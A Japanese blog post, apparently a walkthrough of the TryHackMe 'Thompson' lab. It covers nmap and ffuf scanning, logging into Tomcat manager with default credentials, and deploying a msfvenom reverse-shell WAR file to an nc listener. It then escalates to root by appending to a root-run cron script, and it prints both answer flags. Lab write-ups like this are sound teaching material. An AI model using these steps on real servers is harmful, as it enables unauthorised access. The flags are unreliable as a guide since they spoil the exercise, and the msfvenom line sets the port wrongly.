0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Thompson」のWalkthroughです。

Task1

Q1.user.txt

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.183.192 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:23 EDT
Nmap scan report for 10.10.183.192
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ssh:22,ajp13:8009,http:8080のポートがオープンだとわかりました。

http://<ip>:8080でWebサーバーにアクセスできました。

web home.png

ポートスキャンやWebページからTomcat 8.5.5が動作していると分かります。

exploitを検索するとGhostcatとい脆弱性を発見しました。

この脆弱性を悪用するとファイルアップロード機能があればRCEを実行できそうです。

また、HackTricsも参考に攻撃を試みます。

ディレクトリの列挙をします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.183.192:8080/FUZZ
docs                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 398ms]

/managerにアクセスするとBasic認証が求められました。

manager basic auth.png

認証に失敗した場合のエラー画面で、Username: tomcat,Password: s3cretと表示されたのでこの認証情報が使えるか試します。

manaer 401 auth.png

上記の認証情報でログインを試すとTomcatの管理画面に入れました。

tomcat manafer.png

Deploy項目からwarファイルをアップロード出来るので、ここからリバースシェルを試みます。

Deploy.png

msfvenomでpayloadファイルを作ります。

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

WAR file to deployから作成したwarファイルをアップロードします。

Netcatでリッスンします。

$ nc -lvnp 1234

そして/revshell/にアクスするとコネクションが成功しました。

whoami
tomcat

/home/jack/user.txtを閲覧してフラグゲットです。

cat /home/jack/user.txt
39400c90bc683a41a8935e4719f181bf

A.39400c90bc683a41a8935e4719f181bf

Q2.root.txt

pythonでTTYに接続します。

python -c 'import pty; pty.spawn("/bin/sh")'

/home/jack/id.shを見ると、idコマンドを実行して結果をtest.txtに保存しているようです。

/home/jack/id.sh
#!/bin/bash
id > test.txt

/home/jack/test.txtを見ると、rootユーザーのIDが保存されていました。

/home/jack/test.txt
uid=0(root) gid=0(root) groups=0(root)

/etc/crontabを確認すると/home/jack/id.shがRootユーザーとして毎分id.shを実行していると分かります。

$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh
#

なので/root配下にあるフラグファイルを読み込んでファイルに出力する処理をid.shに追記すればフラグを得られそうです。

id.sh/root/root.txtの内容をtest.txtに出力する処理を追記します。

$ echo "cat /root/root.txt > test.txt" >> id.sh

一分後、test.txtにフラグが表示されました。

$ cat test.txt
cat test.txt
d89d5391984c0450a95497153ae7ca3a

A.d89d5391984c0450a95497153ae7ca3a

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?